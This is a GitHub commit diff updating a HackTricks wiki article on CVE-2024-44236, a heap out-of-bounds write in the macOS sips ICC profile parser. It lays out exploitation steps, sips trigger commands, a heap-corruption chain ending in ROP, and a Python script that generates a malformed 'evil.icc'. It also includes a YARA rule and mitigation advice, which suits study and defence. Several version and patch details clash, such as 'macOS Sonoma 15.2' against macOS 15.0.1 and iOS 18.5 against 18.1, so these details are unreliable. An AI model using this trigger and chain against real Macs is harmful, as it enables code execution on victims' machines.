Skip to content

Commit b53c59c

Browse files
authored
Merge pull request #1212 from HackTricks-wiki/research_update_src_binary-exploitation_arbitrary-write-2-exec_aw2exec-sips-icc-profile_20250730_014239
Research Update Enhanced src/binary-exploitation/arbitrary-w...
2 parents 306679d + 48f230c commit b53c59c

File tree

1 file changed

+74
-26
lines changed

1 file changed

+74
-26
lines changed

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md

Lines changed: 74 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -4,52 +4,100 @@
44

55
## Overview
66

7-
An out-of-bounds write vulnerability in Apple macOS Scriptable Image Processing System (`sips`) ICC profile parser (macOS 15.0.1, sips-307) due to improper validation of the `offsetToCLUT` field in `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. A crafted ICC file can trigger zero-writes up to 16 bytes past the heap buffer, corrupting heap metadata or function pointers and enabling arbitrary code execution (CVE-2024-44236).
7+
An out-of-bounds **zero-write** vulnerability in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profile parser (macOS 15.0.1, `sips-307`) allows an attacker to corrupt heap metadata and pivot the primitive into full code-execution. The bug is located in the handling of the `offsetToCLUT` field of the `lutAToBType` (`mAB `) and `lutBToAType` (`mBA `) tags. If attackers set `offsetToCLUT == tagDataSize`, the parser erases **16 bytes past the end of the heap buffer**. Heap spraying lets the attacker zero-out allocator structures or C++ pointers that will later be dereferenced, yielding an **arbitrary-write-to-exec** chain (CVE-2024-44236, CVSS 7.8).
88

9-
## Vulnerable Code
9+
> Apple patched the bug in macOS Sonoma 15.2 / Ventura 14.7.1 (October 30, 2024). A second variant (CVE-2025-24185) was fixed in macOS 15.5 and iOS/iPadOS 18.5 on April 1, 2025.
1010
11-
The vulnerable function reads and zeroes 16 bytes starting from an attacker-controlled offset without ensuring it lies within the allocated buffer:
11+
## Vulnerable Code
1212

1313
```c
14-
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
15-
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
16-
if (i > numberOfInputChannels && buffer[i] != 0)
17-
buffer[i] = 0;
14+
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
15+
if (offsetToCLUT <= tagDataSize) {
16+
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
17+
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
18+
buffer[i] = 0; // no bounds check vs allocated size!
1819
}
1920
```
2021

21-
Only a check `offsetToCLUT <= totalDataLength` is performed. By setting `offsetToCLUT == tagDataSize`, the loop indexes up to 16 bytes past the end of `buffer`, corrupting adjacent heap metadata.
22-
2322
## Exploitation Steps
2423

25-
1. **Craft malicious `.icc` profile:**
26-
- Build the ICC header (128 bytes) with signature `acsp` and a single `lutAToBType` or `lutBToAType` tag entry.
27-
- In the tag table, set `offsetToCLUT` equal to the tag's `size` (`tagDataSize`).
28-
- Place attacker-controlled data immediately after the tag data block to overwrite heap metadata.
29-
2. **Trigger parsing:**
24+
1. **Craft a malicious `.icc` profile**
25+
26+
* Set up a minimal ICC header (`acsp`) and add one `mAB ` (or `mBA `) tag.
27+
* Configure the tag table so the **`offsetToCLUT` equals the tag size** (`tagDataSize`).
28+
* Place attacker-controlled data right after the tag so that the 16 zero writes overlap allocator metadata.
29+
30+
2. **Trigger parsing with any sips operation that touches the profile**
3031

3132
```bash
32-
sips --verifyColor malicious.icc
33+
# verification path (no output file needed)
34+
sips --verifyColor evil.icc
35+
# or implicitly when converting images that embed the profile
36+
sips -s format png payload.jpg --out out.png
3337
```
3438

35-
3. **Heap metadata corruption:** The OOB zero-writes overwrite allocator metadata or adjacent pointers, allowing the attacker to hijack control flow and achieve arbitrary code execution in the context of the `sips` process.
39+
3. **Heap metadata corruption ➜ arbitrary write ➜ ROP**
40+
On Apple’s default **`nano_zone` allocator**, metadata for 16-byte slots lives **immediately after** the aligned 0x1000 slab. By placing the profile’s tag at the end of such a slab, the 16 zero-writes clobber `meta->slot_B`. After a subsequent `free`, the poisoned pointer is enqueued in the tiny free list, letting the attacker **allocate a fake object at an arbitrary address** and overwrite a C++ vtable pointer used by sips, finally pivoting execution to a ROP chain stored in the malicious ICC buffer.
41+
42+
### Quick PoC generator (Python 3)
43+
44+
```python
45+
#!/usr/bin/env python3
46+
import struct, sys
47+
48+
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
49+
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
50+
profile = HDR
51+
profile += struct.pack('>I', len(TAGS)) # tag count
52+
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
53+
54+
mab = bytearray(52) # tag payload (52 bytes)
55+
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
56+
profile += mab
57+
58+
open('evil.icc', 'wb').write(profile)
59+
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
60+
```
61+
62+
### YARA detection rule
63+
64+
```yara
65+
rule ICC_mAB_offsetToCLUT_anomaly
66+
{
67+
meta:
68+
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
69+
author = "HackTricks"
70+
strings:
71+
$magic = { 61 63 73 70 } // 'acsp'
72+
$mab = { 6D 41 42 20 } // 'mAB '
73+
$mba = { 6D 42 41 20 } // 'mBA '
74+
condition:
75+
$magic at 0 and
76+
for any i in (0 .. 10): // up to 10 tags
77+
(
78+
($mab at 132 + 12*i or $mba at 132 + 12*i) and
79+
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
80+
)
81+
}
82+
```
3683

3784
## Impact
3885

39-
Successful exploitation results in remote arbitrary code execution at user privilege on macOS systems running the vulnerable `sips` utility.
86+
Opening or processing a crafted ICC profile leads to remote **arbitrary code execution** in the context of the invoking user (Preview, QuickLook, Safari image rendering, Mail attachments, etc.), bypassing Gatekeeper because the profile can be embedded inside otherwise benign images (PNG/JPEG/TIFF).
4087

41-
## Detection
88+
## Detection & Mitigation
4289

43-
- Monitor file transfers on common protocols (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
44-
- Inspect transferred files with signature `acsp`.
45-
- For each `mAB ` or `mBA ` tag, verify if the `Offset to CLUT` field equals the `Tag data size`.
46-
- Flag as suspicious if this condition is met.
90+
* **Patch!** Ensure the host is running macOS ≥ 15.2 / 14.7.1 (or iOS/iPadOS ≥ 18.1).
91+
* Deploy the YARA rule above on email gateways and EDR solutions.
92+
* Strip or sanitise embedded ICC profiles with `exiftool -icc_profile= -overwrite_original <file>` before further processing on untrusted files.
93+
* Harden Preview/QuickLook by running them inside sandboxed “transparency & modernisation” VMs when analysing unknown content.
94+
* For DFIR, look for recent execution of `sips --verifyColor` or `ColorSync` library loads by sandboxed apps in the unified log.
4795

4896
## References
4997

50-
- ZDI blog: CVE-2024-44236: Remote Code Execution Vulnerability in Apple macOS sips Utility
51-
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
52-
- Apple October 2024 Security Update (patch shipping CVE-2024-44236)
53-
https://support.apple.com/en-us/121564
98+
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
99+
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
100+
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
101+
https://support.apple.com/en-us/HT213981
54102

55103
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)